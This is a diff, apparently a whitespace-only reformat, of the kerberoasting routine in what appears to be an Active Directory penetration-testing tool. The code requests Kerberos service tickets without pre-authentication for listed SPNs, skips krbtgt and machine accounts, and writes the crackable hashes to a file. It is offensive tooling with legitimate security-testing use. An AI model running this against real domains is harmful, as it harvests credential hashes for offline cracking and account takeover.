@@ -982,50 +982,50 @@ def asreproast(self):
982982
983983 def kerberoasting (self ):
984984 if self .args .no_preauth :
985- if not self .args .username :
986- self .logger .fail ("Use -u/--username to supply a list of usernames or SPNs (file or comma-separated list)" )
987- return
988-
989- usernames = []
990- for item in self .args .username :
991- if os .path .isfile (item ):
992- with open (item , encoding = "utf-8" ) as f :
993- usernames .extend (l .strip () for l in f if l .strip ())
994- else :
995- usernames .append (item .strip ())
996-
997- skipped = []
998- hashes = []
999-
1000- for spn in usernames :
1001- base_name = spn .split ("/" , 1 )[0 ].split ("@" , 1 )[0 ].rstrip ()
1002-
1003- if base_name .lower () == "krbtgt" or base_name .endswith ("$" ):
1004- skipped .append (base_name )
1005- continue
1006-
1007- hashline = KerberosAttacks (self ).get_tgs_no_preauth (
1008- self .args .no_preauth ,
1009- spn
1010- )
1011- if hashline :
1012- hashes .append (hashline )
1013-
1014- if skipped :
1015- self .logger .display (f"Skipping account: { ', ' .join (skipped )} " )
1016-
1017- if hashes :
1018- self .logger .display (f"Total of records returned { len (hashes )} " )
1019- else :
1020- self .logger .highlight ("No entries found!" )
1021-
1022- for line in hashes :
1023- self .logger .highlight (line )
1024- if self .args .kerberoasting :
1025- with open (self .args .kerberoasting , "a+" , encoding = "utf-8" ) as f :
1026- f .write (line + "\n " )
1027-
1028- return
985+ if not self .args .username :
986+ self .logger .fail ("Use -u/--username to supply a list of usernames or SPNs (file or comma-separated list)" )
987+ return
988+
989+ usernames = []
990+ for item in self .args .username :
991+ if os .path .isfile (item ):
992+ with open (item , encoding = "utf-8" ) as f :
993+ usernames .extend (l .strip () for l in f if l .strip ())
994+ else :
995+ usernames .append (item .strip ())
996+
997+ skipped = []
998+ hashes = []
999+
1000+ for spn in usernames :
1001+ base_name = spn .split ("/" , 1 )[0 ].split ("@" , 1 )[0 ].rstrip ()
1002+
1003+ if base_name .lower () == "krbtgt" or base_name .endswith ("$" ):
1004+ skipped .append (base_name )
1005+ continue
1006+
1007+ hashline = KerberosAttacks (self ).get_tgs_no_preauth (
1008+ self .args .no_preauth ,
1009+ spn
1010+ )
1011+ if hashline :
1012+ hashes .append (hashline )
1013+
1014+ if skipped :
1015+ self .logger .display (f"Skipping account: { ', ' .join (skipped )} " )
1016+
1017+ if hashes :
1018+ self .logger .display (f"Total of records returned { len (hashes )} " )
1019+ else :
1020+ self .logger .highlight ("No entries found!" )
1021+
1022+ for line in hashes :
1023+ self .logger .highlight (line )
1024+ if self .args .kerberoasting :
1025+ with open (self .args .kerberoasting , "a+" , encoding = "utf-8" ) as f :
1026+ f .write (line + "\n " )
1027+
1028+ return
10291029
10301030 # Building the search filter
10311031 searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))"
0 commit comments